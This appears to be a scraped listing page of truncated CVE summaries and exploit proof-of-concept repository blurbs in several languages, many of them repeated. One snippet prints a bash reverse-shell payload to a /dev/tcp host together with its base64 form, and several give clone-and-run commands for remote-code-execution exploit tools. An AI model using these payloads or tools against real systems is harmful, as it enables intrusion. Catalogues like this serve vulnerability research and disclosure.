CVE-2020-8158

CVE-2020-8158：TypeORM 原型污染漏洞 概述 这是一个概念验证（PoC），演示了 CVE-2020-8158，即 TypeORM 0.2.25 以下版本中存在的一个严重原型污染漏洞。 漏洞详情 CVE ID ：CVE-2020-8158 CVSS 评分 ：9.8（严重） 受影响软件包 ：TypeORM = 0.2.25） package.json - 依赖项 设置说明 有关详细的设置和漏洞利用说明，请参阅 SETUP.md。 缓解措施 将 TypeORM 升级到 0.2.25 或更高版本 验证并清理所有用户输入 使用输入验证库来阻止原型污染尝试 考虑对关键对象使用...

DEBIAN-CVE-2026-90558

sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause...

CVE-2026-90558

sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause...

CVE-2026-90558

sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause...

UBUNTU-CVE-2026-90558

sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause...

CVE-2018-11776-FIS

CVE-2018-11776 là một lỗ hổng bảo mật trong Apache Struts, một framework phổ biến để phát triển ứng dụng web. Lỗ hổng này cho phép tin tặc thực hiện các cuộc tấn công từ xa thông qua việc chèn mã độc vào các trường dữ liệu của yêu cầu HTTP. Lỗ hổng này đã được khai thác rộng rãi trong các cuộc tấ...

CVE-2023-38646

CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=...

CVE-2024-25153

CVE-2024-25153 漏洞利用 目录 点击展开 1. 简介 2. 安装 3. 使用 4. 参与贡献 5. 许可证 简介 欢迎使用 CVE-2024-25153 漏洞利用！本项目旨在利用 CVE-2024-25153 漏洞，在 Fortra FileCatalyst Workflow 中远程执行代码。 安装 点击展开 以下是在您的机器上安装 CVE-2024-25153 漏洞利用的方法： root@kitploit: git clone https://github.com/tucommenceapousser/CVE-2024-25153.git cd CVE-2024-2515...

CVE-2026-90558 sngrep through 1.8.4 Stack Buffer Overflow via SIP Headers

sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause...

CVE-2026-90558

sngrep through 1.8.4 is affected by stack buffer overflow vulnerabilities in SIP attribute formatting routines. When header values (e.g., Call-ID, X-Call-ID, or other fields) exceed the 255-byte buffer limit , the overflow can cause crashes or enable arbitrary code execution during packet parsing...

CVE-2026-90558 sngrep through 1.8.4 Stack Buffer Overflow via SIP Headers

sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause...

CVE-2023-1521

概念验证 root@kitploit: gcc -shared -o libpoc.so poc.c -fPIC export LDPRELOAD=fullpathtolibpoc.so sccache gcc foo.c -o foo...

CVE-2023-36844

CVE-2023-36844 该漏洞是Juniper JunOS中SRX和EX系列产品的远程代码执行漏洞，允许攻击者在运行JunOS软件的目标Juniper设备上执行任意代码。该漏洞可能导致受影响的设备被入侵，对其服务的网络构成严重安全风险。 Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Get start with root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-36844 $ cd CVE-2023-36844 $...

PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Use After Free - RCE 脆弱性 解放されたメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードを実行したりする可能性があります。 脆弱性の説明 この脆弱性により、リモートの攻撃者は、脆弱性の影響を受ける Foxit Reader のインストール環境上で任意のコードを実行できる可能性があります。この脆弱性を悪用するにはユーザーの操作が必要であり、標的となるユーザーが悪意のあるページにアクセスするか、悪意のあるファイルを開く必要があります。...

CVE-2024-57175

CVE-2024-57175: PHPGURUKUL Online Birth Certificate System v1.0 における格納型クロスサイトスクリプティング（XSS） 説明 PHPGURUKUL Online Birth Certificate System v1.0 の /user/certificate-form.php ページに格納型クロスサイトスクリプティング（XSS）の脆弱性が確認されました。この脆弱性により、認証されたユーザーはプロフィール名フィールドに悪意のあるXSSスクリプトを注入でき、クライアント側でコードが実行される可能性があります。 再現手順（PoC）...

Detailed-Analysis-and-Mitigation-Strategies-for-CVE-2024-38124-and-CVE-2024-43468

CVE-2024-38124 和 CVE-2024-43468 的详细分析与缓解策略 CVE-2024-38124 和 CVE-2024-43468 的详细分析与脚本缓解策略 CVE-2024-38124：Windows Netlogon 技术利用背景： 在实际场景中，拥有网络访问权限的攻击者可以通过向域控制器发送特制的 Netlogon 消息来利用 CVE-2024-38124。这使他们能够冒充网络上的任何计算机，包括域控制器本身。攻击者可以提升权限，从而可能完全控制 Active Directory AD 环境，进而未经授权访问敏感信息或在整个网络部署恶意软件。 攻击路径示例： 1...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 注入以获取 shell 用于编码 url, postrequest, getrequest...

CVE-2025-63406-PoC

CVE-2025-63406 PoC Instalación root@kitploit: Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt Uso root@kitploit: python3 CVE-2025-63406.py -u -n -p -c...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — Vulnerabilidad crítica de SmarterMail Estado: 🔥 Crítico — Se requiere acción inmediata Puntuación CVSS v3.1: 10.0 / 10 Fecha de divulgación: 29–30 de diciembre de 2025 🧩 Resumen de la vulnerabilidad CVE-2025-52691 es una vulnerabilidad crítica de carga arbitraria de archivos si...

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 漏洞复现环境 这是一个用于复现 React2Shell CVE-2025-55182 和 Next.js RSC RCE CVE-2025-66478 漏洞的最小 MVP。 ⚠️ 警告 此项目仅用于安全研究和教育目的。请勿在生产环境或未授权的系统上使用。 漏洞概述 CVE-2025-55182 是 React Server Components 中的一个严重漏洞，影响： React : 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js : ≥14.3.0-canary.77, ≥15, ≥16...